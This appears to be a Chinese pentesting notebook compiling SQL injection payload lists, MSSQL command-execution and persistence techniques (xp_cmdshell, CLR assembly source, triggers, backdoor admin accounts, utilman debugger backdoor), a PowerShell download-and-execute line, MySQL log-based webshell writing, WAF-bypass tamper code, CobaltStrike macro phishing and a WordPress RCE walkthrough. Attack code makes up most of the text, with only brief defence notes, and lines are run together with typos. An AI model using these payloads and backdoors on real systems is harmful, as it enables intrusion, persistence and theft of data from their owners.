http://url/Home/Orders/index/currency/%5c.html1)布爾
2)延時,如果過了5秒才顯示頁面,則存在注入
mysql:BENCHMARK (100000,MD5 (1)) or sleep(5)
id=1' and sleep( if( (select length(database()) >0) , 5, 0 ) )%23 id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ id=1' or sleep(ord(substr(password,1,1))) -- id=1' XOR(sleep(if((select length(database()) >6),0,5)))XOR'Z id=1' and (SELECT 1 FROM (SELECT(SLEEP(5)))Gbqj) --+ id=1'/**/AND/**/(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))ibEg)/** Referer:1'XOR(if(now()=sysdate(),sleep(6),0))XOR'Zua:'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z x-forw:'XOR(if(now()=sysdate(),sleep(6),0))XOR'Zmssql:
id=1' WAITFOR DELAY '0:0:5'--+ id=1';WAITFOR DELAY '0:0:5'--+ id=1');WAITFOR DELAY '0:0:5'--+ id=1" WAITFOR DELAY '0:0:5'--+ id=1";WAITFOR DELAY '0:0:5'--+ id=1");WAITFOR DELAY '0:0:5'--+ id=1' or 51 = '49'; WAITFOR DELAY '0:0:5'--+只是常見的,可以繼續枚舉…
#報錯注入,爆數據庫版本
以下payload都是數字型,如果是字符型,就在1后面添加單引號或者雙引號
id=1+and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+ id=1+and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+ id=1+and geometrycollection((select * from(select * from(select user())a)b))--+ id=1+and multipoint((select from(select * from(select user())a)b))--+ in d=1+and polygon((select * from(select * from(select user()a)b))--+ id=1+and multipolygon((select * from(select * from(select user())a)b))--+ id=1+and linestring((select * from(select * from(select user())a)b))--+ id=1+and multilinestring((select * from(select * from(select user()a)b))--+ 1d=1+and exp(~(select * from(select user())a))--+ PostgreSQL:/?param=1 and(1)=cast(version() as numeric)--+Oracle報錯注入
' AND 1932(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(122)||CHR(113)||(SELECT+(CASE+WHEN 如果sq1map跑不出,則加參數 --level 5 --risk 3 risk 共有四個風險等級,默認是1會測試大部分的測試語句,2會增加基于事件的測試語句,3會增加0R語句的SQL注入測試2.2.10.1 MSSQL利用總結(dayu-Eighth day)
命令執行
1、xp_cmdshell
開啟xp_cmdshellsp_configure 'show advanced options',1reconfiguregosp_configure 'xp_cmdshell',1reconfigurego執行exec xp_cmdshell "whoami"//在mssql中,轉義符為"""轉義字符"""恢復被刪除的xp_cmdshellEXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'提示找不到xplog70.dll則需要自己上傳。2、sp_oacreate
打開組件
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'show advanced options', 0;執行
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >d:\\temp\\1.txt'此方法無回顯,可把命令執行結果寫到web路徑下或者配合dns側信道
3、沙盒執行
需要當前mssql用戶有寫注冊表權限開啟exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1執行select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')在默認安裝mssql 2012上報錯 “無法創建鏈接服務器“(null)”的 OLE DB 訪問接口“microsoft.jet.oledb.4.0”的實例。” 暫未找到解決辦法
4、CLR執行
Common Language Runtime(CLR)程序集定義為可以導入SQL Server的.NET DLL(或DLL組)。導入后,DLL方法可以鏈接到存儲過程并通過TSQL執行。創建和導入自定義CLR程序集的能力是開發人員擴展SQL Server本機功能的好方法,但自然也為攻擊者創造了機會。以C#代碼為例,將下面代碼用CSC編譯為dll
using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using Microsoft.SqlServer.Server;using System.IO;using System.Diagnostics;using System.Text;public partial class StoredProcedures{[Microsoft.SqlServer.Server.SqlProcedure]public static void cmd_exec (SqlString execCommand){Process proc = new Process();proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);proc.StartInfo.UseShellExecute = false;proc.StartInfo.RedirectStandardOutput = true;proc.Start();// Create the record and specify the metadata for the columns.SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));// Mark the beginning of the result set.SqlContext.Pipe.SendResultsStart(record);// Set values for each column in the rowrecord.SetString(0, proc.StandardOutput.ReadToEnd().ToString());// Send the row back to the client.SqlContext.Pipe.SendResultsRow(record);// Mark the end of the result set.SqlContext.Pipe.SendResultsEnd();proc.WaitForExit();proc.Close();}};編譯
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs //主意.net版本得到的DLL上傳到目標,設置dll文件權限,否則mssql可能因為文件權限問題導致讀取dll失敗
開啟CLR
sp_configure 'show advanced options',1RECONFIGUREGO-- Enable clr on the serversp_configure 'clr enabled',1RECONFIGUREGO遇到權限問題,需要設置數據庫擁有者為sa,這個方法不能使用master數據庫來執行查詢語句
alter database [數據庫名] set TRUSTWORTHY onEXEC sp_changedbowner 'sa'接著執行
-- Import the assemblyCREATE ASSEMBLY my_assemblyFROM 'c:\temp\cmd_exec.dll'WITH PERMISSION_SET = UNSAFE;Go-- Link the assembly to a stored procedureCREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];GO接下來就可以執行命令了
這個方法還可以通過16進制文件流的方式導入DLL,這樣可以不用文件落地
5、com對象
開啟
EXEC sp_configure 'Ole Automation Procedures',1執行
declare @dbapp int,@exec int,@text int,@str varchar(8000);exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@dbapp output;--exec sp_oamethod @dpapp,'run',null,'calc.exe';exec sp_oamethod @dbapp,'exec',@exec output,'C:\\windows\\system32\\cmd.exe /c whoami';exec sp_oamethod @exec, 'StdOut', @text out;exec sp_oamethod @text, 'readall', @str outselect @str注冊表
1、讀注冊表
EXEC xp_regread 'HKEY_CURRENT_USER','Control Panel\International','sCountry'
2、寫注冊表
3、刪除操作
exec master.xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion','TestValueName' //刪除值execmaster.xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Testkey' //刪除鍵4、添加值
EXECUTE master..xp_regaddmultistring@ rootkey ='HKEY_LOCAL_MACHINE',@ key ='SOFTWARETest',@ value_name ='TestValue',@ value ='Test'5、枚舉可用的注冊表鍵
EXEC master..xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'持久化
1、定時任務
啟用sql server代理,右鍵-新建-作業
步驟-新建
配置執行的語句,可以自定義
然后在“計劃”選項里配置執行時間
此外,可以使用十六進制CLR新建一個存儲過程然后用計劃作業執行存儲過程,這樣更加隱蔽
2、觸發器
觸發器用于在執行指定語句動作之后執行sql語句,如update,可配合注入使用
SET ANSI_NULLS ONGOSET QUOTED_IDENTIFIER ONGO CREATE TRIGGER [test222]ON [test]AFTER UPDATE /*建立一個作用于表test的、類型為After update的、名為 test222的觸發器*/AS BEGINEXECUTE MASTER.DBO.XP_CMDSHELL 'cmd.exe /c calc.exe'ENDGO在對表進行update操作之后,就會執xp_cmdshell
文件操作
1、判斷文件是否存在
exec xp_fileexist "C:\\users\\public\\test.txt"返回0表示文件不存在,1表示存在。在執行無回顯命令時,把執行結果重定向到一個文件,再用xp_fileexist判斷該文件是否存在,就可知道命令是否執行成功
2、列目錄
exec xp_subdirs "C:\Users\Administrator\",2,1第一個參數設定要查看的文件夾。 第二個參數限制了這個存儲過程將會進行的遞歸級數。默認是零或所有級別。第三個參數告訴存儲過程包括文件。默認是零或只對文件夾,數值 1 代表包括結果集的文件
3、寫文件
4、創建目錄
exec xp_create_subdir 'D:\test'5、壓縮文件
exec xp_makecab 'c:test.cab', 'mszip', 1, 'c:test.txt' , 'c:test1.txt'它允許你指定一列你想壓縮的文件還有你想放進去的 cab 文件。它甚至允許你選擇默認壓縮, MSZIP 壓縮 ( 類似于 .zip文件格式 ) 或不壓縮。第一個參數給出到 cab 文件的路徑,這是你想創建和添加文件的地方。第二個參數是壓縮級別。如果你想使用詳細的日志記錄就使用第三個參數。第四個參數后跟著你想壓縮的文件的名稱。可以在擴展存儲過程里傳 多個要壓縮的文件名稱
信息獲取
1、獲取機器名
exec xp_getnetname2、獲取系統信息
exec xp_msver
3、獲取驅動器信息
4、獲取域名
5、遍歷域用戶
先獲取RID
SELECT SUSER_SID('CATE4CAFE\Domain Admins')
利用RID前48位即0x010500000000000515000000F80F57B63AF32D50A0916B7B構造SID即可遍歷域用戶。我們知道,域用戶的SID是從500開始,所以把500轉換成16進制,為01F4,在mssql里需要翻轉為F401,然后用0000補足得到0x010500000000000515000000F80F57B63AF32D50A0916B7BF4010000,在mssql里查詢
采用循環SQL語句遍歷即可遍歷出所有域用戶
msf有個模塊可通過注入點枚舉域用戶
參考文章:
2.2.10.2 攻擊MSSQL–PowerUpSQL 介紹
發現MSSQL實例
發現本地實例
通過SPN查找域內mssql實例
通過廣播查找mssql實例
通過UDP查找網絡內的mssql實例
接受機器名或者IP
獲取MSSQL信息
獲取配置信息
獲取服務信息
測試口令
獲取默認密碼實例
在腳本中提供了默認安裝的一些實例名和默認密碼,但是不包括MSSQLSERVER和SQL Express(避免賬號鎖定)。可以根據自身需要加入自定義的賬號密碼
使用字典測試
命令的含義是通過管道爆破可以連接的發現的實例。此外,該函數還可以嘗試通過Invoke-SQLOSCmd執行命令
持久性
啟用存儲過程
在SQL Server啟動時添加數據庫管理賬戶Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewSqlUser EvilSysadmin1 -NewSqlPass Password123!添加windows管理員Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -NewosUser Evilosadmin1 -NewosPass Password123!執行 powershell命令Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerInstance "MSSQL2008WIN8" -PsCommand "IEX(new-object net.webclient).downloadstring('https://raw.xxxxxxusercontent.com/nullbind/Powershellery/master/Brainstorming/helloworld.ps1')"寫注冊表
Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance "MSSQL" -Username "sa" -Password "_PL<0okm"RDP后門,需要當前mssql用戶有寫注冊表權限作業
除了CMD,還支持VBScript、powershell、JScript
此外,工具還集成了一些通過mssql執行系統命令的方式
觸發器
工具支持創建DDL和DML兩種觸發器Get-SQLTriggerDdl -Instance SQLServer1\STANDARDDEV2014 -username '' -password ''Get-SQLTriggerDml -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb -username '' -password ''可根據實際情況定義觸發條件獲取域信息
當前域用戶信息
域用戶
組
域機器
更多用法可自行查看命令參數,或者查看項目wiki
防御方案
增加賬號的口令強度 用低權限賬號連接數據庫 修改默認實例的默認口令2.2.10.3 如何利用Mysql安全特性發現漏洞
前言
在滲透測試時,面對Mysql環境,需要用到load_file與into outfile時,會發現無法使用load_file讀取不到系統文件、同時into outfilet無法寫入后門進行getshell,這時候就有必要了解下Mysql數據庫特性secure_file_priv變量安全配置。此變量用于限制數據導入和導出操作,執行的效果 LOAD DATA和SELECT… NTO OUTFILE報表和LOAD_FILE()功能。僅允許具有此FILE權限的用戶執行這些操作
**
Mysql權限
**
1、管理權限使用戶能夠管理MySQL服務器的操作。這些權限是全局的,因為它們不是特定于特定數據庫的
2、數據庫權限適用于數據庫及其中的所有對象。可以為特定數據庫或全局授予這些權限,以便它們適用于所有數據庫
3、可以為數據庫中的特定對象,數據庫中給定類型的所有對象(例如,數據庫中的所有表)或全局的所有對象授予數據庫對象(如表,索引,視圖和存儲例程)的權限。所有數據庫中給定類型的對象
**
load_file函數用法
本次提到的內容涉及的是GRANT和REVOKE的允許靜態權限中的file在滲透測試過程中,碰到 load_file讀取文件的前提條件:
MySQL LOAD_FILE()讀取文件并以字符串形式返回文件內容。
LOAD FILE(file name)
其中file_name是帶路徑的文件名。
實例:
要成功使用load_file讀取文件有幾個前提:
1)嘗試加載的文件必須存在于運行MySQL服務器的同一主機中
2)加載文件必須指定文件的完整路徑名
3)正在執行該命令的用戶必須具有FILE權限
4)加載的文件不得超過 max_allowed packet變量指定的值
5)MySQL有一個secure_file_priv變量。如果該變量的值設置為非空目錄名,則要加載的文件必須位于該目錄中
Mysql版本差異
5.5.53之前版本,默認情況下此變量為空,允許使用mysql終端對secure_file_priv參數更新(不討論windows環境安裝情況)
5.5.53及之后版本修改secure_file_priv值只能修改my.cnf配置文件(不討論windows環境安裝)
成功利用實例
案例
環境:
MySQL5.5版本 RedHat6.2版本僅能使用navicat連接數據庫(非root權限用戶):
目標:
使用locd_file讀取服務器文件、讀取站點配置文件、站點源碼,進一步getshell
show global variables like '%secure%';secure_file_priv的值為null,那么secure_file_priv這里都有什么設置呢
secure_file_priv為null表示不允許導入導出
secure_file_priv指定文件夾時表示mysql的導入導出只能發生在指定的文件夾
secure_file_priv沒有設置時則表示沒有任何限制
想要成功利用load_file函數,必須設置secure_file_priv變量為空,這樣讀取文件也就沒有限制
set global secure_file_priv=";
注意:修改secure_file_priv配置后,需要重啟mysql才能生效。
進一步讀取:etc/passwd文件
select load_file('/etc/passwd');
讀取出來后(BLOB)1.26KB,發現為BLOB二進制數據,為方便獲取文件信息,
使用 wireshark讀取 MySQL協議中的第一 Request Query信息:
然后在wireshark中查看TCP流就能看到passwd信息…
這是一個思路!!
腦洞大開
關于 into outfilel函數,用于寫入文件進行geshell,利用該函數同樣前提
1、secure_file_ priv為空,能夠寫入文件2、具備寫入特定目錄,如 /var/www/htm網站路徑權限3、寫入的文件能夠正常解析另外一種思路(需要mysql roo權限)
1、修改 general_ log的值為on,同時general_log_file修改為網站絕對路徑+文件2、在網站查詢sql語句(偽造sql語句的查詢一句話后門,很多情況下僅能寫入php),將會向網站路徑下寫入sql語句,訪問寫入的文件,可成功getshe‖總結:
很多情況下碰到的實戰環境特別苛刻、嚴格,不是像在靶機環境一樣一帆風順,往往需要靈活應對各種不同復雜環境,從中找出一條適合自己測試的方向
2.2.10.4 Hibernate基本注入
基本概念
JDBC:提供了一組 Java API來訪問關系數據庫的Java程序
ORM:對象關系映射
實體類與數據庫表一一對應 不需要操作數據庫,而是操作實體類對象Hibernate :
基于ORM的一種框架對JDBC代碼進行封裝 開發者不需要寫SQL語句就能實現對數據庫進行增刪改查屬于dao層 適用于MS SQLSERVER、ORACLE、SQL、H2、Access和Mysql等多種數據庫參考文章:
https://xuzhongcn.github.io/hibernate/01/Hibernate01.html --詳細介紹 https://www.cnblogs.com/-qing-/p/11650774.html --注入攻擊 https://cloud.tencent.com/developer/article/1035345 --注入攻擊這里對于Hibernate注入提幾個思路點:
#添加操作代碼
使用save,不太可能會出現拼接漏洞
因此在添加、創建操作下,Hibernate大概率不會出現注入漏洞
Usertestusertest=new Usertest(); usertest.setUsername(username); usertest.setPassword(password); session.save(usertest);#查詢操作代碼
createQuery容易岀現拼接漏洞 實際上,比較容易出現漏洞的是在 like '%xxx%'、 order by xxx這種語句中 修改操作和刪除操作代碼中如果存在**査詢操作代碼**,也有可能岀現拼接漏洞#Hibernate支持輸入
and or database() user() version() ascii()假設開發者未進行過濾,則可存在萬能密碼
1' or '1'='1 1' or user() like '%root%#Hibernate不支持輸入 union/select
因此無法進行爆庫
#暴露路徑 com.springboottest.teston.security.module.Usertest
Usertest是定義用戶的類,其與數據庫中的用戶數據表一一對應,因此很有可能就是數據表名
#猜解字段名
password是另一字段名,因此輸入以下語句并未報錯
1' or password='2
password1是不存在的字段名,因此輸入以下語句報錯
2.2.10.5 mysql 利用general_log_file、slow_query_log_file寫文件
高版本的mysql中,一般默認配置了–secure_file_priv為null限制了文件寫入,這時,可以通過mysql的general_log_file、slow_query_log_file來嘗試寫文件
general_log_file
set global general_log='on' SET global general_log_file='D:/phpstudy/www/1.php'; SELECT '<?php assert($_POST["cmd"]);?>'; set global general_log='off'; //切記關閉slow_query_log_file
用到了mysql的慢查詢,全名是慢查詢日志,是MySQL提供的一種日志記錄,用來記錄在 MySQL中響應時間超過閥值的語句。開啟之后默認閥值是10s,可以更改此時間
參考文章:另外的思路
https://www.k0rz3n.com/2018/10/21/Mysql%20在滲透測試中的利用/ --general_log_file利用寫入shell https://www.cnblogs.com/-mo-/p/11677621.html --slow_query_log_file利用方法2.2.10.6 SQL Server注入 Getshell 有趣案例
這里感謝傾旋大佬的思路分享
傾旋大佬博客:https://payloads.online/posts/
參考我之前寫的一篇文章:某次項目技術點實錄-Regsvr32 ole對象
0x01 前言
本文非基礎類的普及文章,主要分享內網中遇到的一個有趣案例。
0x02 Bypass注入點
通常情況下,遇到SQL Server注入點,我會比較關注是否是DBA權限,如果是,那么就可能拿到執行命令的權限,進而反彈到C2上,方便后續的后滲透工作。
一開始在一處比較復雜的功能點發現了SQL Server的注入,也是首先利用AND進行判斷:
參數:ModuleType存在注入點,但是后面有一層站點全局輸入的檢測機制,從簡單的測試來看,是不存在語法分析的一種,比較容易繞過。
我嘗試了以下方案:
and -> And and -> /**/And and -> /*xsww!s*/And and -> /*xswwS1154-_[0)}!s*/And and -> /***/And最終發現第五種可以繞過,使得后端無法辨別/***/是否和And是一個本體。
那么我猜想到了一個簡單的表達式,似乎和這個過濾規則比較相向:/*\w{0,}*/
0x03 tamper 自動化實現
這里直接改了以下space2comment.py,這個腳本在Kali Linux中的sqlmap目錄下:
核心代碼:
for i in xrange(len(payload)):if not firstspace:if payload[i].isspace():firstspace = TrueretVal += "/**/"continueelif payload[i] == '\'':quote = not quoteelif payload[i] == '"':doublequote = not doublequoteelif payload[i] == " " and not doublequote and not quote:retVal += "/**/"continue只需要替換/**/即可:
接著,就可以跑出注入了~
PS:我比較習慣于添加--random-agent參數,理由是在注入的過程中,避免被流量感知設備發現。
0x04 xp_cmdshell
到這一步的時候,我遇到了一個問題,SQLMAP調用exec master…xp_cmshell的時候被攔截了,因為后端還檢測是否有exec、master,于是我還要將tamper加兩句:
payload = payload.replace("exec","/***/Execute/***/") payload = payload.replace("master..","/***//***/")最終結果:/***/execute/***//***/xp_cmdshell/***/'whoami'
點擊發包,還是無法執行,被360攔截了!
這個Error Code 5 ,是Windows的錯誤代碼,中文意思就是:“拒絕訪問”。
現在xp_cmdshell被攔截的很多了,但是sp_oacreate應該可以使用的:
參考我之前寫的一篇文章:Regsvr32 ole對象
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >C:\who.txt'后續我發現該服務器無法出網,還是站庫分離
因此無法執行操作系統命令
0x05 寫入文件
在寫文件這塊,我浪費了大量的時間,首先要確定能否向站點目錄寫文件,當前寫文件的操作是否被攔截等等因素。
一開始的思路是調用xp_cmdshell,采用echo去寫,目前已無法執行命令,就此作罷,吸了一口芙蓉王,精神煥發,遂查到數據庫備份的方式。
提交:
{"ClientType": "", "ClientGuid": "09a37ee1-5ec3-46db-9279-4cb066622e8d", "ModuleType": "A2501';use test222;create table [dbo].[test2] ([cmd] [image]);insert/***/into/***/test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);backup database test222 to disk='C:\test2.bak' WITH DIFFERENTIAL,FORMAT;-- ", "IsBackEnd": false }頁面返回正常。
但是,我的站點目錄如果是中文呢?在Burp里處理就非常麻煩!
還記得之前的IIS 7.5嗎,IIS在接收到一個請求后,會自動將數據進行Unicode解碼,如果流量設備、WAF不支持此特性的話,就可以進行繞過,這里我著重解決中文目錄的問題。
到這此文就結束了,我并沒有成功Getshell,只是回顧我解決問題的思維方式,希望能對大家有用!
傾旋大佬文章:
https://payloads.online/archivers/2020-01-01/32.2.11 文件讀取漏洞
https://xz.aliyun.com/t/65942.2.12 Pentesterlab Xss
https://pentesterlab.com/ --官網 https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso --安裝包 https://blog.csdn.net/he_and/article/details/79798958 https://www.andseclab.com/2018/11/11/pentesterlab-xss題解/ http://secpark.com.cn/articles/2018/05/28/1527502530234.html --很直觀三篇大佬文章詳細講解了pentesterlab靶機進行XSS滲透!!!
2.2.13 Office宏的基本利用
前言
Office宏,譯自英文單詞Macro。宏是Office自帶的一種高級腳本特性,通過VBA代碼,可以在Office中去完成某項特定的任務,而不必再重復相同的動作,目的是讓用戶文檔中的一些任務自動化。而宏病毒是一種寄存在文檔或模板的宏中的計算機病毒。一旦打開這樣的文檔,其中的宏就會被執行,于是宏病毒就會被激活,轉移到計算機上,并駐留在Normal模板上
Visual Basic for Applications(VBA)是Visual Basic的一種宏語言,是微軟開發出來在其桌面應用程序中執行通用的自動化(OLE)任務的編程語言。主要能用來擴展Windows的應用程序功能,特別是Microsoft Office軟件,也可說是一種應用程式視覺化的Basic 腳本
環境準備
Windows 7 x64 旗艦版 Microsoft Office 2016 CobaltStrike 3.14CobaltStrike生成宏
先利用CobaltStrike生成宏payload,接下來只要放入word、excel或ppt即可
創建宏Word
打開Word文檔,點擊 “Word 選項 — 自定義功能區 — 開發者工具(勾選) — 確定”
編寫主體內容后,點擊 “開發工具 — Visual Basic” 。
雙擊 “ThisDocument” ,將原有內容全部清空,然后將CobaltStrike生成宏payload全部粘貼進去,保存并關閉該 VBA 編輯器
另存為的Word類型務必要選”Word 97-2003 文檔 (*.doc)”,即 doc 文件,保證低版本可以打開。之后關閉,再打開即可執行宏代碼
反彈Beacon shell
默認情況下,Office已經禁用所有宏,但仍會在打開Word文檔的時候發出通知
誘導目標手動點擊”啟用內容”宏。
目標一旦啟用,CobaltStrike的Beacon就會上線,即成功接收到Shell
宏代碼分析
CobaltStrike生成默認的VBA會導入四個Windows API函數,常見的ShellCode加載器代碼:
其中Array(-4,-24,-119,0,0,0,96,-119,-27...就是ShellCode,混淆的辦法有很多種
ShellCode可以自己在VBA里解碼或者比如每個元素自增1,運行的時候-1,達到免殺 ……
參考文章:
https://zhuanlan.zhihu.com/p/98526727 --感謝我不是大神的文章2.2.14 Java-security-calendar-2019-Candy-Cane
官網:
https://www.ripstech.com/java-security-calendar-2019/ https://www.leadroyal.cn/?p=914 --9102年Java里的XXE https://www.leadroyal.cn/?p=930 --9102年Java里的XXE的防御 https://xz.aliyun.com/search?keyword=Java+Security+2019 ---Ripstech Java Security 2019 Calendar復現系列(1-4)這里還有更好的文章,沒找到!!!!需要回看!!!
2.2.15 Discuz Ssrf Rce漏洞分析報告
很老的一個漏洞了
https://cloud.tencent.com/developer/article/1511949 ---復現https://xz.aliyun.com/t/2018 ---Discuz!因Memcached未授權訪問導致的RCEhttps://cn-sec.com/archives/76754.html ---https://cn-sec.com/archives/76754.htmlhttps://www.freebuf.com/vuls/191698.html ---Discuz x3.4前臺SSRF漏洞分析https://hackmd.io/@Lhaihai/H1B8PJ9hX --SSRF集合筆記有一篇很古老的經典文章,硬是沒找到!!!只能書里看了
2.2.16 WordPress語言文件代碼執行漏洞分析
0x00 漏洞概述
1、漏洞簡介
WordPress是一個以PHP和MySQL為平臺的自由開源的博客軟件和內容管理系統,在 github (https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97)上爆出這樣一個漏洞,在其<=4.6.1版本中,如果網站使用攻擊者提前構造好的語言文件來對網站、主題、插件等等來進行翻譯的話,就可以執行任意代碼
2、漏洞影響
任意代碼執行,但有以下兩個前提:
攻擊者可以上傳自己構造的語言文件,或者含有該語言文件的主題、插件等文件夾網站使用攻擊者構造好的語言文件來對網站、主題、插件等進行翻譯這里舉一個真實場景中的例子:攻擊者更改了某個插件中的語言文件,并更改了插件代碼使插件初始化時使用惡意語言文件對插件進行翻譯,然后攻擊者通過誘導管理員安裝此插件來觸發漏洞
3、影響版本
<= 4.6.10x01 漏洞復現
1、環境搭建
docker pull wordpress:4.6.1 docker pull mysql docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql docker run --name wp --link wp-mysql:mysql -d wordpress2、漏洞分析
首先我們來看這樣一個場景:
在調用create_function時,我們通過 } 將原函數閉合,添加我們想要執行的內容后再使用/*將后面不必要的部分注釋掉,最后即使我們沒有調用創建好的函數,我們添加的新內容也依然被執行了。之所以如此,是因為create_function內部使用了eval來執行代碼,我們看PHP手冊上的說明:
所以由于這個特性,如果我們可以控制create_function的$code參數,那就有了任意代碼執行的可能。這里要說一下,create_function這個漏洞最早由80sec在08年提出,這里提供幾個鏈接作為參考:
接下來我們看Wordpress中一處用到create_function的地方,在wp-includes/pomo/translations.php第203-209行:
/*** Makes a function, which will return the right translation index, according to the* plural forms header* @param int $nplurals* @param string $expression*/function make_plural_form_function($nplurals, $expression) { $expression = str_replace('n', '$n', $expression);$func_body = "\$index = (int)($expression);return (\$index < $nplurals)? \$index : $nplurals - 1;";return create_function('$n', $func_body); }根據注釋可以看到該函數的作用是根據字體文件中的plural forms這個header來創建函數并返回,其中$expression用于組成$func_body,而$func_body作為$code參數傳入了create_function,所以關鍵是控制$expresstion的值。
我們看一下正常的字體文件zh_CN.mo,其中有這么一段:
Plural-Froms這個header就是上面的函數所需要處理的,其中nplurals的值即為$nplurals的值,而plural的值正是我們需要的$expression的值。所以我們將字體文件進行如下改動:
然后我們在后臺重新加載這個字體文件,同時進行動態調試,可以看到如下情景:
我們payload中的)首先閉合了前面的(,然后;結束前面的語句,接著是我們的一句話木馬,然后用/*將后面不必要的部分注釋掉,通過這樣,我們就將payload完整的傳入了create_function,在其創建函數時我們的payload就會被執行,由于訪問每個文件時都要用這個對字體文件解析的結果對文件進行翻譯,所以我們訪問任何文件都可以觸發這個payload:
其中訪問index.php?c=phpinfo();的函數調用棧如下:
0x02 修復方案
下載官方發布的補丁打上,建議管理員增強安全意識,不要使用來路不明的字體文件、插件、主題等等
對于開發者來說,建議對$expression中的特殊符號進行過濾,例如:
$not_allowed = array(";", ")", "}"); $experssion = str_replace($not_allowed, "", $expression);參考:
https://www.seebug.org/vuldb/ssvid-92459https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97http://php.net/manual/zh/function.create-function.phphttps://www.exploit-db.com/exploits/32416/https://bugs.php.net/bug.php?id=48231http://www.2cto.com/Article/201212/177146.htmlhttps://codex.wordpress.org/InstallingWordPressinYourLanguage https://cloud.tencent.com/developer/article/1078451 --正文,感謝2.2.17 Struts2遠程命令執行s2-048漏洞分析報告
https://www.ichunqiu.com/course/58753 --春秋視頻講解http://blog.topsec.com.cn/strutss2-048遠程命令執行漏洞分析/ --阿爾法實驗室https://www.freebuf.com/vuls/140410.html --復現 https://www.jianshu.com/p/05efdc8f4301 --復現 https://www.jianshu.com/p/356291fb26a2 --復現https://www.zybuluo.com/Dukebf/note/821989 --strut2各版本漏洞信息整理很老的一個漏洞了…學習下思路~~
2.2.18 靜態免殺php一句話(已過D盾,河馬,安全狗)
https://www.cnblogs.com/ABKing/p/13515014.html --2020年8月最新一句話木馬免殺(截止2020年8月16日通殺D盾、安全狗,微步,webshellKiller)https://mp.weixin.qq.com/s/lExi2_y4NkTak735kpz4ug --2020年8月如何優雅的隱藏你的webshell還有很多方法,這里書籍上的方法未找到,可看書!!
2.2.19 金融信息系統安全測評方法(不公布!)
http://www.djbh.net/webdev/file/webFiles/File/jsbz/201232310276.pdf ---信息安全技術信息安全風險評估規范http://www.djbh.net/webdev/file/webFiles/File/zcbz/201226173039.pdf ---信息安全技術信息系統安全管理要求學習下就好!!!
隨著大數據、云計算、人工智能及區塊鏈等新興技術的應用,銀行業手機銀行、微信銀行等新興數字化金通過安全測評過程,全面分析出信息系統可能存在的人為破壞場景及其成因與后果,通過科學有效的測試
所以才提起金融信息系統安全測評方法這塊內容的警惕,這里只能看書,網上應該是封了大部分資料書內容很全!!
2.2.20 Apache-Poi-XXE-Analysis
復現CVE-2019-12415、CVE-2014-3529
0x01 概述
apache poi 這個組件實際上在 java 應用中蠻常見的,這個組件主要用在 word 文檔或者 excel 文件導入的業務場景下使用。眾所周知,這些文檔實際上也是一個類似壓縮包一類的存在,所以今天就看看這個東西。
0x02 漏洞分析
CVE-2014-3529
apache poi 在3.10.1之前存在XXE漏洞
漏洞場景搭建
測試代碼
import org.apache.poi.EncryptedDocumentException; import org.apache.poi.openxml4j.exceptions.InvalidFormatException; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.ss.usermodel.Workbook; import org.apache.poi.ss.usermodel.WorkbookFactory; import java.io.FileInputStream; import java.io.IOException; public class CVE20143529 {public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {Workbook wb1 = WorkbookFactory.create(new FileInputStream("test.xlsx"));Sheet sheet = wb1.getSheetAt(0);System.out.println(sheet.getLastRowNum());} } //pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>com.apache.poi</groupId><artifactId>xxe</artifactId><version>1.0-SNAPSHOT</version><dependencies><dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml</artifactId><version>3.10-FINAL</version></dependency></dependencies></project>漏洞復現
